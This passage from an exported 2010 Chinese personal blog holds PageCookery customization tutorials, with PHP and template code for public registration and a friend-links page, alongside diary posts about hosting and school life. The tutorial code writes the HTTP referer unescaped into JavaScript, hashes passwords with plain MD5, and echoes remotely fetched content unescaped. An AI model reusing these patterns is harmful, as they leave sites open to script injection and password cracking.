class=\u0026#34;nav_title\u0026#34;\u0026gt;新增用户\u0026lt;/h2\u0026gt; \u0026lt;form action=\u0026#34;?act=register\u0026amp;amp;do=add\u0026#34; method=\u0026#34;post\u0026#34;\u0026gt; 用户名: \u0026lt;input class=\u0026#34;input_message w150\u0026#34; name=\u0026#34;username\u0026#34; type=\u0026#34;text\u0026#34; /\u0026gt; 密码: \u0026lt;input class=\u0026#34;input_message w150\u0026#34; name=\u0026#34;password\u0026#34; type=\u0026#34;password\u0026#34; /\u0026gt; \u0026lt;input class=\u0026#34;image_button_submit\u0026#34; type=\u0026#34;submit\u0026#34; value=\u0026#34;新增用户\u0026#34; /\u0026gt; \u0026lt;/form\u0026gt; {template footer}\u0026lt;/div\u0026gt; 代码我就不讲解了，其实就是拷贝了下users.html里面的部分代码而已，然后我们要打开根目录的index.php文件，在大概倒数第七行的位置，也就是在最后面一个if语句前的一个结束符号\u0026quot;}\u0026ldquo;之前/这话讲的我自己都晕了/加上如下代码：\ncase \u0026#39;register\u0026#39;: if ($_GET[\u0026#39;do\u0026#39;] == \u0026#39;add\u0026#39; AND $_POST[\u0026#39;username\u0026#39;] AND $_POST[\u0026#39;password\u0026#39;]) { $check = $SQL-\u0026gt;QueryRowsArray(\u0026#34;SELECT id FROM user WHERE username = \u0026#39;\u0026#34; . Format::Safe($_POST[\u0026#39;username\u0026#39;], true) . \u0026#34;\u0026#39;\u0026#34;); if ($check[\u0026#39;id\u0026#39;]) { Helper::PrintJavaScript(\u0026#39;alert(\\\u0026#39;已经存在名为 \u0026#39; . Format::Safe($_POST[\u0026#39;username\u0026#39;], true) . \u0026#39; 的用户.\\\u0026#39;); window.location = \\\u0026#39;\u0026#39; . $_SERVER[\u0026#39;HTTP_REFERER\u0026#39;] . \u0026#39;\\\u0026#39;\u0026#39;); } $SQL-\u0026gt;Insert(\u0026#39;user\u0026#39;, array(\u0026#39;username\u0026#39;, \u0026#39;password\u0026#39;), array(Format::Safe($_POST[\u0026#39;username\u0026#39;], true), Format::Safe(md5($_POST[\u0026#39;password\u0026#39;]), true))); Helper::PrintJavaScript(\u0026#39;alert(\\\u0026#39;很高兴的通知您，你在 似水流年 上成功注册了\u0026#39; . Format::Safe($_POST[\u0026#39;username\u0026#39;], true) . \u0026#39; 此用户.\\\u0026#39;); window.location = \\\u0026#39;\u0026#39; . $_SERVER[\u0026#39;HTTP_REFERER\u0026#39;] . \u0026#39;\\\u0026#39;\u0026#39;); exit; } $title = SITE_NAME . \u0026#39; - 用户\u0026#39;; $template=\u0026amp; new Template(\u0026#39;register\u0026#39;,NULL,\u0026#39;register\u0026#39;); break; 保存之后，你的PageCookery地址+\u0026quot;?act=register\u0026quot;就是公共注册地址了，那么你需要的就是在登录页面添加个链接到这个页面的链接就行了，当然，你也可以直接在最上方的管理旁边添加，这里我就都给出相应的代码吧，先是在管理旁边添加注册链接。先打开template/header.html文件，然后搜索\u0026quot;管理\u0026quot;二字，将如下代码复制替换掉那一行的代码：\n\u0026lt;li\u0026gt;\u0026lt;a href=\u0026#34;{$base_url}\u0026#34; \u0026lt;!--{if ($current == \u0026#39;blog\u0026#39;)}--\u0026gt; class=\u0026#34;selected\u0026#34; \u0026lt;!--{/if}--\u0026gt;\u0026gt;网 志\u0026lt;/a\u0026gt; \u0026lt;/li\u0026gt;\u0026lt;li\u0026gt;\u0026lt;a href=\u0026#34;?act=register\u0026#34;\u0026gt;注 册\u0026lt;/a\u0026gt;\u0026lt;/li\u0026gt; \u0026lt;!--{if ($sync[\u0026#39;api\u0026#39;][\u0026#39;username\u0026#39;])}--\u0026gt; \u0026lt;li\u0026gt;\u0026lt;a href=\u0026#34;http://\u0026lt;!--{if ($sync[\u0026#39;api\u0026#39;][\u0026#39;type\u0026#39;] == \u0026#39;jiwai\u0026#39;)}--\u0026gt;jiwai.de\u0026lt;!--{else}--\u0026gt;digu.com\u0026lt;!--{/if}--\u0026gt;/ \u0026lt;echo\u0026gt;urlencode($sync[\u0026#39;api\u0026#39;][\u0026#39;username\u0026#39;])\u0026lt;/echo\u0026gt;/\u0026#34; target=\u0026#34;_blank\u0026#34;\u0026gt; \u0026lt;!--{if ($sync[\u0026#39;api\u0026#39;][\u0026#39;type\u0026#39;] == \u0026#39;jiwai\u0026#39;)}--\u0026gt;叽 歪\u0026lt;!--{else}--\u0026gt;嘀 咕\u0026lt;!--{/if}--\u0026gt;\u0026lt;/a\u0026gt;\u0026lt;/li\u0026gt; \u0026lt;!--{/if}--\u0026gt;\u0026lt;!--{if ($Own[\u0026#39;lastfm\u0026#39;])}--\u0026gt; \u0026lt;li\u0026gt;\u0026lt;a href=\u0026#34;?act=music\u0026#34;\u0026lt;!--{if ($current == \u0026#39;music\u0026#39;)}--\u0026gt; class=\u0026#34;selected\u0026#34;\u0026lt;!--{/if}--\u0026gt;\u0026gt;音乐墙\u0026lt;/a\u0026gt;\u0026lt;/li\u0026gt; \u0026lt;!--{/if}--\u0026gt;\u0026lt;!--{if ($flickr[\u0026#39;feed\u0026#39;])}--\u0026gt; \u0026lt;li\u0026gt;\u0026lt;a href=\u0026#34;?act=photos\u0026#34;\u0026lt;!--{if ($current == \u0026#39;photos\u0026#39;)}--\u0026gt; class=\u0026#34;selected\u0026#34;\u0026lt;!--{/if}--\u0026gt;\u0026gt;照片墙\u0026lt;/a\u0026gt;\u0026lt;/li\u0026gt; \u0026lt;!--{/if}--\u0026gt; 代码依旧不解释了，大家仔细看看就知道增加了什么了。然后是在登录页面加入注册链接，打开template/login.html页面，搜索\u0026quot;登录\u0026quot;二字，将如下代码复制替换掉该行即可：\n\u0026lt;div style=\u0026#34;text-align:right\u0026#34;\u0026gt;\u0026lt;input type=\u0026#34;submit\u0026#34; value=\u0026#34;登 录\u0026#34; class=\u0026#34;login_submit\u0026#34; /\u0026gt;\u0026lt;a href=\u0026#34;?act=register\u0026#34; class=\u0026#34;login_submit\u0026#34;\u0026gt;注 册\u0026lt;/a\u0026gt;\u0026lt;/div\u0026gt; 恩，这样大家就可以完成公开注册的方法了，其实就是将注册的那些文件搬到了程序判定外面来了而已。也就是说，不能填写照片墙，不能填写音乐墙等资料，包括RSS导入功能也不能使用，因为这些都是管理员才能有的。\nPS:最后再说一声，谁知道比较好用的代码高亮插件？现在用的这个太挫了……\n","count":1525,"date":"2010年04月05日","featuredImage":null,"permalink":"https://imnerd.org/open-your-pagecookerys-register-function.html","summary":"\u003cimg src=\"https://imnerd.org/assets/migration/imnerd.org/wp-content/uploads/2010/04/openregisterfunction.png\" alt=\"\" title=\"\" width=\"450\" height=\"120\" class=\"alignnone size-full wp-image-1522\" /\u003e\r\n\u003cp\u003e大家都知道，现在的PageCookery的注册功能还很闭塞，只能够管理员通过后台添加用户，而不能够让用户自主添加，今天我给出更改方法，能够让其他人自己添加用户！\n先我放上一个预览地址吧，我就拿我的似水流年开刀了，呵呵，预览地址：\u003ca href=\"http://lizheming.cn/?act=login\"\u003e\u003ca href=\"http://lizheming.cn/?act=login\"\u003ehttp://lizheming.cn/?act=login\u003c/a\u003e\u003c/a\u003e\n首先我们要在template文件夹下新建一个模板，重命名为\u0026quot;register.html\u0026quot;/\u003cem\u003e名字可随意\u003c/em\u003e/然后将如下内容添加到里面去：\u003c/p\u003e","time":4,"title":"开放你的PageCookery注册功能"},{"comments":{"data":[37],"errmsg":"","errno":0},"contents":" 欢迎使用更好的办法：https://imnerd.org/make-a-pagecookery-widget-for-your-website-new.html\n由于本文所出现的代码不知道怎么搞的，总是跟代码高亮插件作对，搞的我的博客面目全非，没办法，就只好先放到Google Docs上面去了，请大家谅解一下啊…… 正文请看：传送门 最后，再次为给大家带来的不便表示深刻的道歉！希望大家能够互相体谅…… 注：如果地址不能访问的话请在http后面加s试试，如果还不行请使用Freegate翻墙阅览，当然，你也可以留下您的邮箱，我会无偿的将文章以电子邮件的形式发送给您的……\n","count":281,"date":"2010年03月31日","featuredImage":null,"permalink":"https://imnerd.org/make-a-pagecookery-widget-for-your-blog.html","summary":"\u003cimg src=\"https://imnerd.org/assets/migration/404.png?url=http%3A%2F%2Fimnerd.blog.35.cn%2Ffiles%2F2010%2F03%2Fblog-widget-for-your-blog.png\" alt=\"\" /\u003e\n\u003cp\u003e欢迎使用更好的办法：\u003ca href=\"https://imnerd.org/make-a-pagecookery-widget-for-your-website-new.html\" target=\"_blank\"\u003e\u003ca href=\"https://imnerd.org/make-a-pagecookery-widget-for-your-website-new.html\"\u003ehttps://imnerd.org/make-a-pagecookery-widget-for-your-website-new.html\u003c/a\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cdiv style=\"text-indent: 2em; font-size: 14px; font-family: microsoft yahei, microsoft Jhenghei; color: #333399;\"\u003e\n\u003cp\u003e由于本文所出现的代码不知道怎么搞的，总是跟代码高亮插件作对，搞的我的博客面目全非，没办法，就只好先放到Google Docs上面去了，请大家谅解一下啊……\n正文请看：\u003ca href=\"http://docs.google.com/View?id=ddp8tvdg_2cnmj7v9b\"\u003e传送门\u003c/a\u003e\n最后，再次为给大家带来的不便表示深刻的道歉！希望大家能够互相体谅……\n注：如果地址不能访问的话请在http后面加s试试，如果还不行请使用Freegate翻墙阅览，当然，你也可以留下您的邮箱，我会无偿的将文章以电子邮件的形式发送给您的……\u003c/p\u003e","time":1,"title":"为你的PageCookery制作博客挂件"},{"comments":{"data":[20],"errmsg":"","errno":0},"contents":"\r真是不好意思啊，好不容易写篇文章结果还是回到教程上来了，呵呵，没办法啊！再不发我就憋死了，嘻嘻...这次的友情链接页面也可以扩充出来作为跟随和关注页面的说！不过比较可惜的是手工能力要好强大才行，本来是让某人根据这个写一个数据库版本的，结果他个死人的忙打游戏去了……so,期待强人帮忙修改啦～～\r注意，使用本方法新增友情链接页面的话首先必须要他们利用站外引用微博客最新消息这篇文章的方法在根目录添加了api.php文件，而且你的博客也必须按照上述方法添加了read.php和api.php这两个文件才行！/如果你不需要显示链接的最新消息的话则不需要上述条件！/\n首先，你要打开你的read.php文件，在第8行左右/或者是第一行之后/\ndefine(P2_PATH,\u0026#39;https://imnerd.org/mblog/\u0026#39;); // please change to your P2 path, remember the ending slash. define(P2_PATH_1,\u0026#39;http://yuensan.cn/mblog/\u0026#39;); 我先来解释一下代码，P2_PATH这个是一个定义的变量，名字你可以随便取！后面则跟的是你要添加的微薄网址/*一定要对方的微博根目录有api.php文件才有效！判断是否有访问其地址+“/api.php”即可！*/这里要注意的是一定要以\"/\"结尾！这里我添加了两个作为示例！如果你想要添加更多，只要复制出新的一行即可！\r然后在最后一行之前添加如下代码：\rfunction readit() { $request = P2_PATH.\u0026#39;api.php\u0026#39;; $result = pcurl( $request ); if ($result) return $result; else return false; } function readit_1() { $request = P2_PATH_1.\u0026#39;api.php\u0026#39;; $result = pcurl( $request ); if ($result) return $result; else return false; } 依旧是解释一下代码，这里是定义一个函数来读取最新消息的，function后跟的如readit之类的是函数名称，这个可以随便取，只是后面调用的时候要记得也跟着改！我这里就解释一个fuction吧，$request后面跟着的是对方api.php的地址，P2_PATH则是你在上面定义的对方博客的地址的变量/*这里的变量名称和你上面定义的变量名称一定要对应起来！*/如果你还要调用更多的博客的话只要复制function到\"}\"之间的代码重新编辑下即可！如我代码示例所示！\r然后呢你要在/template文件夹下新建一个页面，名称为\u0026quot;follow.html\u0026quot;/名称可以任取，保证后缀是.html即可！/然后复制如下代码到文件中：\n{template header} \u0026lt;div id=\u0026#34;main\u0026#34;\u0026gt; \u0026lt;div id=\u0026#34;entry\u0026#34; class=\u0026#34;link\u0026#34; style=\u0026#34;margin-top: 20px;\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;lavatar\u0026#34;\u0026gt; \u0026lt;a href=\u0026#34;http://yuensan.cn/mblog/\u0026#34; target=\u0026#34;_blank\u0026#34;\u0026gt;\u0026lt;img src=\u0026#34;http://yuensan.cn/mblog/?act=getavatar\u0026#34; alt=\u0026#34;\u0026#34; /\u0026gt;\u0026lt;/a\u0026gt;\u0026lt;/div\u0026gt; \u0026lt;div class=\u0026#34;linkentry\u0026#34;\u0026gt; \u0026lt;span\u0026gt;\u0026lt;a href=\u0026#34;http://yuensan.cn/mblog/\u0026#34; target=\u0026#34;_blank\u0026#34;\u0026gt;AsiMo：\u0026lt;/a\u0026gt;\u0026lt;/span\u0026gt; \u0026lt; ?php require_once(\u0026#34;read.php\u0026#34;); echo readit_1(); ?\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;div id=\u0026#34;entry\u0026#34; class=\u0026#34;link\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;lavatar\u0026#34;\u0026gt; \u0026lt;a href=\u0026#34;https://imnerd.org\u0026#34; target=\u0026#34;_blank\u0026#34;\u0026gt;\u0026lt;img src=\u0026#34;https://imnerd.org/mblog/?act=getavatar\u0026#34; alt=\u0026#34;\u0026#34; /\u0026gt;\u0026lt;/a\u0026gt;\u0026lt;/div\u0026gt; \u0026lt;div class=\u0026#34;linkentry\u0026#34;\u0026gt; \u0026lt;span\u0026gt;\u0026lt;a href=\u0026#34;https://imnerd.org/mblog/\u0026#34; target=\u0026#34;_blank\u0026#34;\u0026gt;公子:\u0026lt;/a\u0026gt;\u0026lt;/span\u0026gt; \u0026lt;content\u0026gt;\u0026lt; ?php require_once(\u0026#34;read.php\u0026#34;); echo readit(); ?\u0026gt;\u0026lt;/content\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; {template footer} 下面先给大家解释下代码，总体分两个div，我只要解释一个大家就恩那个明白下面几行的用处的了！大家看第五行有很多网址是把，前面那个标签里面的则是调用最新消息的代码，readit()是你刚才定义的调用对方消息的函数，这个跟你刚才定义的函数名称是相互对应起来的！然后下面又是一个div标签，内容是差不多的，大家如果需要新增的话只要复制第二个div标签就可以了，也就是16-28行之间的代码！并做相应的修改！\r最后就是修改CSS了！将如下代码复制到/css/style.css文件中：\r.link { background:none repeat scroll 0 0 #DFE1E3; border-color:#E9EAEB #C7CCD1 #C7CCD1; border-style:solid; border-width:1px; color:#000000; font:12px/22px \u0026#34;Lucida Grande\u0026#34;,Verdana,Arial; padding:8px 10px; text-shadow:0 1px 0 #FFFFFF; margin:auto; height:60px; width:700px; } .link span { font-family:Microsoft Yahei; font-size:14px; padding-left:10px; } .lavatar { float:left; } .linkentry content{ margin-left:20px; font-size:14px; font-family:Mirosfot Yahei, Microsoft Jhenghei; }.link { background:none repeat scroll 0 0 #DFE1E3; border-color:#E9EAEB #C7CCD1 #C7CCD1; border-style:solid; border-width:1px; color:#000000; font:12px/22px \u0026#34;Lucida Grande\u0026#34;,Verdana,Arial; padding:8px 10px; text-shadow:0 1px 0 #FFFFFF; margin:auto; height:60px; width:700px; } .link span { font-family:Microsoft Yahei; font-size:14px; padding-left:10px; } .lavatar { float:left; } .linkentry content{ margin-left:20px; font-size:14px; font-family:Mirosfot Yahei, Microsoft Jhenghei; } 这个是我的样式代码，但并不一定能通用，所以大家可以根据自己的需要做相应的修改～如果不会改的也可以留言给我，只是不能保证及时回复哦！但是知道的我会尽量回答的啦……\r最后的最后，就是要添加链接按钮咯～不过别急，还有一项准备工作要做，打开根目录的index.php文件，拉到最后，从后往前看到第一个“break;”字样的时候，在后面添加如下代码：\r$template = new Template(\u0026#39;follow\u0026#39;, NULL, \u0026#39;follow\u0026#39;); $title = SITE_NAME. \u0026#39; - 我关注的人\u0026#39;; break; 再来解释代码，第一行的follow是链接调用用的，比如这里填写的是follow的话，链接页面的地址则为\"你的微博客地址+‘/?act=follow’\"，一般设置为你建立的HTML文件一样的名字，第二行的两个follow没怎么改过，一般跟你新建立的HTML文件名字一样，第三行是定义你的页面的标题/*浏览器标签中显示的标题*/，添加完后记得保存文件。\r最后就是添加链接按钮了！打开/template/header.html文件，大概在232行处/*如果你没改动的话*/你会找到“网志”“叽歪”“嘀咕”“音乐墙”“照片墙”等文字，那一行最后那个\"\u003c / ul\u003e\"标签之前添加如下代码：\r\u0026lt;li\u0026gt;\u0026lt;a href=\u0026#34;?act=follow\u0026#34;\u0026gt;\u0026lt;!--{if ($current == \u0026#39;follow\u0026#39;)}--\u0026gt; class=\u0026#34;selected\u0026#34;\u0026lt;!--{/if}--\u0026gt;\u0026gt;友链\u0026lt;/a\u0026gt;\u0026lt;/li\u0026gt; 最后一次解释代码，href=后头跟随的是你友情链接页面的地址，地址的话在上面我已经讲过了，这里就不重复了，友链是显示的文字，这个根据自己的喜好改吧！最后保存文件，大功告成！\r这样，我们就为我们的PageCookery添加了一个友情链接页面，而且该友情链接页面还可以显示对方的最新消息，果然是相当犀利啊！哈哈啊哈哈哈！不过确有两点是美中不足的：一、必须要对方有api.php文件才能读取最新消息；二、添加新的地址必须要更改一大堆文件/具体为read.php添加新的函数用以读取对方最新消息，follow.html页面添加新的链接！/；其实还有一个不足的地方就是不够智能，纯手动的，别人友情链接了你但是你只能手动的添加别人的链接，并不能在一个新的页面中显示有谁添加了你！这个是美中不足的地方，不过相较来说，这个还是个很不错的方法的！起码我们享受到了DIY的乐趣啦！\n","count":2285,"date":"2010年03月27日","featuredImage":null,"permalink":"https://imnerd.org/add-link-page-for-your-pagecookery.html","summary":"\u003cimg src=\"https://imnerd.org/assets/migration/404.png?url=http%3A%2F%2Fimnerd.blog.35.cn%2Ffiles%2F2010%2F03%2Fpagecookery.png\" alt=\"\" /\u003e\r\n\u003cdiv style=\"text-indent:2em;font-size:14px;font-family:Microsoft Yahei, Microsoft Jhenghei;color:#333399;\"\u003e\r\n真是不好意思啊，好不容易写篇文章结果还是回到教程上来了，呵呵，没办法啊！再不发我就憋死了，嘻嘻...这次的友情链接页面也可以扩充出来作为跟随和关注页面的说！不过比较可惜的是手工能力要好强大才行，本来是让某人根据这个写一个数据库版本的，结果他个死人的忙打游戏去了……so,期待强人帮忙修改啦～～\r\n\u003cp\u003e注意，使用本方法新增友情链接页面的话首先必须要他们利用\u003ca href=\"https://imnerd.org/trackback-microblogs-newest-message.html\"\u003e站外引用微博客最新消息\u003c/a\u003e这篇文章的方法在根目录添加了api.php文件，而且你的博客也必须按照上述方法添加了read.php和api.php这两个文件才行！/\u003cem\u003e如果你不需要显示链接的最新消息的话则不需要上述条件！\u003c/em\u003e/\u003c/p\u003e","time":5,"title":"给你的PageCookery增加友链页面"},{"comments":{"data":[47],"errmsg":"","errno":0},"contents":"话说自从主机流量被百毒大叔秒杀之后，自己都很少来自己博客了的说，真是杯具啊！头两天奇迹般的可以进后台了，就顺带备份了下自己的数据出来，其实只是突然想到把数据备份出来而已…… :5然后本人的图终于于前天做完了，具体时间请看：传送门，身心相当的舒爽啊，以至于我现在都不知道要干嘛了。最近也有点问囧，算了，直接放图片吧。虽然说加了点小边框进去，但是大图都是源文件，没改动什么，所以有可能加载速度会慢点，大家要有耐心等待，然后就是大图右下角有个放大按钮，可以进行放大作用～\r前两个星期左右在淘宝买的东西。本来是要买过个鼠标的，被某人怂恿到去买无线去了，双飞燕G7-630，用了两个星期，感觉还不错的说。另外两个是觉得只买一个东西邮寄有点亏本了附带的小东东，人型USB插口以及暖手鼠标垫，话说那个鼠标垫真是有点大失所望，实际暖手效果很不理想，因为只有中间局部一点放有散热片（应该是叫这个吧？），热量不能到达鼠标垫的每个角落，而且热量很低，不足以暖手，而且不知道怎么搞的，我总觉得手放在里面老会出汗，不知道怎么搞的，所以我没开多久就直接关了，看样子这东西还是只能拿来做摆设啊。\n下面这几张是我在学校（确切说是“家”门口附近）拍的几张花花草草的图片，请大家尽情浏览，顺便感慨下这鸟天气。最后提醒一下，天气异常，请注意防寒防暑防风防沙，谨防感冒发烧流鼻涕！我有同学说：在这破地方，早上感受着春天，中午感受着夏天，黄昏感受下秋天，只等着冬天来临了！……我说，你就蛋定点吧，总比遇上自然灾害好，比如黄黄的北京，白白的东北……\n这两天发现学校还有好些花花草草挺好看的，可能会抽空去拍下（注意，我说的是可能！）……然后就是刚才拍下了别人的IPod Touch 1代 16GB，850大洋拍得，想咨询下大家这个价钱合理否？以及现在买一代有什么不足么？另外就是以后还会有支持一代的固件和软件，游戏之类的么？\r","count":778,"date":"2010年03月20日","featuredImage":null,"permalink":"https://imnerd.org/spring-have-came-does-winter-gone.html","summary":"\u003cdiv style=\"text-indent: 2em; font-size: 14px; font-family: Microsoft Yahei, Microsoft Jhenghei; color: #333399;\"\u003e话说自从主机流量被百毒大叔秒杀之后，自己都很少来自己博客了的说，真是杯具啊！头两天奇迹般的可以进后台了，就顺带备份了下自己的数据出来，其实只是突然想到把数据备份出来而已…… :5然后本人的图终于于前天做完了，具体时间请看：\u003ca href=\"http://fanfou.im/status\u0026amp;id=10681464063\" target=\"_blank\"\u003e传送门\u003c/a\u003e，身心相当的舒爽啊，以至于我现在都不知道要干嘛了。最近也有点问囧，算了，直接放图片吧。虽然说加了点小边框进去，但是大图都是源文件，没改动什么，所以有可能加载速度会慢点，大家要有耐心等待，然后就是大图右下角有个放大按钮，可以进行放大作用～\u003c/div\u003e\r\n\u003ca class=\"highslide-image\" href=\"https://imnerd.org/assets/migration/404.png?url=http%3A%2F%2Fapi.photoshop.com%2Fhome_a10b5d2e2e264875b7b9c42f1d7b8e47%2Fadobe-px-thumbnails%2F9d5b4bda48f1474b9bc9ce05027d965f%2F1024.jpg\"\u003e\u003cimg title=\"Click to enlarge\" src=\"https://imnerd.org/assets/migration/404.png?url=http%3A%2F%2Fapi.photoshop.com%2Fhome_a10b5d2e2e264875b7b9c42f1d7b8e47%2Fadobe-px-thumbnails%2Fe370b8024b594275862d88f419107f01%2Ffullsize.jpg\" alt=\"image\" /\u003e\u003c/a\u003e\r\n\u003cdiv style=\"text-indent: 2em; font-size: 14px; font-family: Microsoft Yahei, Microsoft Jhenghei; color: #333399;\"\u003e\r\n\u003cp\u003e前两个星期左右在淘宝买的东西。本来是要买过个鼠标的，被某人怂恿到去买无线去了，双飞燕G7-630，用了两个星期，感觉还不错的说。另外两个是觉得只买一个东西邮寄有点亏本了附带的小东东，人型USB插口以及暖手鼠标垫，话说那个鼠标垫真是有点大失所望，实际暖手效果很不理想，因为只有中间局部一点放有散热片（应该是叫这个吧？），热量不能到达鼠标垫的每个角落，而且热量很低，不足以暖手，而且不知道怎么搞的，我总觉得手放在里面老会出汗，不知道怎么搞的，所以我没开多久就直接关了，看样子这东西还是只能拿来做摆设啊。\u003c/p\u003e","time":2,"title":"春天来了，冬天走了么？"},{"comments":{"data":[49],"errmsg":"","errno":0},"contents":" 唉，悲剧，由于ImageVue这个程序不支持外链的音乐文件，只支持本地文件，没办法我就上传了两MP3文件上去，我以为百毒大叔搜不到我的，事实上证明我错了，昨天登录网站就显示流量超标，我个无语阿，让小张看了下，流量超标，肯定存有媒体文件了，于是我赶快删除，小张也给我另外加了10GB的流量。可是据小张说，流量一加上去就用光了，T_T……我果然是个悲剧阿……然后小张昨天最后一次帮我加了5GB的流量，结果又是一扫而光，唉～今天再次寻求小张帮忙，结果就找了个临时空间给我了，额！\n昨天听网友说是国外空间是看访问地址来算流量的，虽然文件不存在了，但是链接地址仍然被访问，所以流量还是在消耗的。他还举了个很经典的例子，就是“有人敲你家的门和你是否在家是没有必然的关系的！”，然后当时我就震惊了，要是真是这样的话，我下个月还用活么？据说他又一次是半年才消除了这些影响的……= =\n暂时只把我的站牵过来了，haoxinqing和yuensan都没有牵过来，因为工作量比较大，而且我也要看看什么时候好了的说，没办法，你们俩的站点就委屈下咯！只有等下个月流量来了再说吧，唉！下次再也不心存侥幸了，没事坚决不放这样的文件，放了也要做好盗链的准备！哼！\n","count":512,"date":"2010年03月13日","featuredImage":null,"permalink":"https://imnerd.org/liu-liang.html","summary":"\u003cimg src=\"https://imnerd.org/assets/migration/404.png?url=http%3A%2F%2Fimnerd.blog.35.cn%2Ffiles%2F2010%2F03%2Fliuliang.png\" alt=\"\" /\u003e\n\u003cdiv style=\"font-family: Microsoft Yahei, Microsoft Jhenghei; text-indent: 2em; font-size: 14px; color: #333399;\"\u003e\n\u003cp\u003e唉，悲剧，由于ImageVue这个程序不支持外链的音乐文件，只支持本地文件，没办法我就上传了两MP3文件上去，我以为百毒大叔搜不到我的，事实上证明我错了，昨天登录网站就显示流量超标，我个无语阿，让小张看了下，流量超标，肯定存有媒体文件了，于是我赶快删除，小张也给我另外加了10GB的流量。可是据小张说，流量一加上去就用光了，T_T……我果然是个悲剧阿……然后小张昨天最后一次帮我加了5GB的流量，结果又是一扫而光，唉～今天再次寻求小张帮忙，结果就找了个临时空间给我了，额！\u003c/p\u003e","time":2,"title":"流量超标，此为暂时主机！"},{"comments":{"data":[37],"errmsg":"","errno":0},"contents":" 開學第一周的周末到了，也該發點東西水水了，要不然又要長草了，我還等著股溝給偶加PR呢…… 這一周最大的杯具就在於去年的描圖工作了。不知道有多少人記得偶去年暑假有接過一個描圖（專業術語是位圖矢量化）的工作，當時的工作環境是CorelDraw，因為圖太簡單了，不需要用到啥GIS軟件。CorelDraw生成的文件是CDR格式的文件，是一種矢量圖，CorelDraw作出來的圖是矢量圖，文件保存格式一般爲CDR，最后完成的時候我是將CDR圖導出成JPEG圖給“老闆”的。因為是第一次接這樣的任務，我以為只要把圖農清楚就行了，為此我還特地將圖都打印出來一一查看，沒有問題之後我才將圖交給“老闆”的。可是時過半年了吧，就這寒假快完的時候，“老闆”打電話來了，説我的圖不合格，因為JPEG仍然是位圖，打印到書上還是不清楚（這些圖是要出書才要描的），讓我把CDR矢量文件給他。然後我的杯具來了，時隔半年，我哪裡去找那個CDR文件？！當時我記得是這樣的：某次我要安裝Ubuntu，要格式化一個分區，我把分區裏面的東西備份好后，想了想，這個CDR文件占着位置，應該不太重要吧？就沒備份它，沒想到這次就真的杯具了。但是錢都收了，收人錢財，替人消災啊！所以偶只好重新描一遍了，好在有過一次經驗，描起來的速度也不算很慢，已經有10多天了吧，也有描了20多幅了，基本上有一半了，我讓“老闆”給我半個月的時間，應該沒有問題吧。 然後更巨大的杯具又遂接而來，因為描圖，偶就跑到家裡面來睡覺了，因為經常半夜工作（外加娛樂）到2點多的緣故，所以上午都比較晚起來，好在前幾天第一節也沒有什麼課。但是就在昨天，昨天我睡過頭了！而且第一節課居然是大英啊！一起來看了下手機，8:14，然後還有我寢室長兩個未接電話……T_T我的人生大大的杯具了，怎麽辦？沒辦法，只好曠課第一節了，趁著課間去了。好在是第一節課，紀律方面都不是很嚴，僥倖逃過。但是老天又跟我開玩笑了，今天，就在今天，第一節課我又睡過頭了！而第一節居然有計算機製圖實驗，醒來一看手機，8:50了，我個杯具了，則麼辦？沒辦法只好到第三四節再去了，跟著三四班他們做吧（我們的實驗基本上是一二節一二班，三四節三四班的），這次也還好，因為有些孩子這兩天要補考啥的，所以紀律又不是太嚴，所以又僥倖逃過！但是下次就沒這麽好運了。 對了對了，說道英語，很高興的通知大家，偶的四級終於過了！T_T歷盡千山萬水，無數艱難險阻，偶終於過了四級了！感謝人民，感謝CCTV，CET，CCAV，RMVB，AV等等無數人的支持！ /另外，偶決定以後每次都先寫文再來做日誌頭的圖片，每次寫日誌只要一想到要做那個圖片就會退卻，額……/ 下面是個人吐槽，大家基本上可以無視： Though learning is very important, it can't be all your life! If you lost some other important spirit during your road of study, I think it can't support anything even though you have the highest result. We must remember that we should work hard but not be unscrupulous. ","count":1172,"date":"2010年03月06日","featuredImage":null,"permalink":"https://imnerd.org/first-week-in-shcool.html","summary":"\u003cimg class=\"alignnone size-full wp-image-1398\" src=\"https://imnerd.org/assets/migration/imnerd.org/wp-content/uploads/2010/03/yanyi.png\" alt=\"\" width=\"450\" height=\"120\" /\u003e\n\u003cdiv style=\"font-family: Microsoft yahei, Microsoft Jhenghei; font-size: 14px; color: #333399; text-indent: 2em;\"\u003e開學第一周的周末到了，也該發點東西水水了，要不然又要長草了，我還等著股溝給偶加PR呢……\u003c/div\u003e\n\u003cdiv style=\"font-family: Microsoft yahei, Microsoft Jhenghei; font-size: 14px; color: #333399; text-indent: 2em;\"\u003e這一周最大的杯具就在於去年的描圖工作了。不知道有多少人記得偶去年暑假有接過一個描圖（專業術語是位圖矢量化）的工作，當時的工作環境是CorelDraw，因為圖太簡單了，不需要用到啥GIS軟件。\u003cdel datetime=\"2010-03-06T08:03:45+00:00\"\u003eCorelDraw生成的文件是CDR格式的文件，是一種矢量圖，\u003c/del\u003eCorelDraw作出來的圖是矢量圖，文件保存格式一般爲CDR，最后完成的時候我是將CDR圖導出成JPEG圖給“老闆”的。因為是第一次接這樣的任務，我以為只要把圖農清楚就行了，為此我還特地將圖都打印出來一一查看，沒有問題之後我才將圖交給“老闆”的。可是時過半年了吧，就這寒假快完的時候，“老闆”打電話來了，説我的圖不合格，因為JPEG仍然是位圖，打印到書上還是不清楚（這些圖是要出書才要描的），讓我把CDR矢量文件給他。然後我的杯具來了，時隔半年，我哪裡去找那個CDR文件？！當時我記得是這樣的：某次我要安裝Ubuntu，要格式化一個分區，我把分區裏面的東西備份好后，想了想，這個CDR文件占着位置，應該不太重要吧？就沒備份它，沒想到這次就真的杯具了。但是錢都收了，收人錢財，替人消災啊！所以偶只好重新描一遍了，好在有過一次經驗，描起來的速度也不算很慢，已經有10多天了吧，也有描了20多幅了，基本上有一半了，我讓“老闆”給我半個月的時間，應該沒有問題吧。\u003c/div\u003e\n\u003cdiv style=\"font-family: Microsoft yahei, Microsoft Jhenghei; font-size: 14px; color: #333399; text-indent: 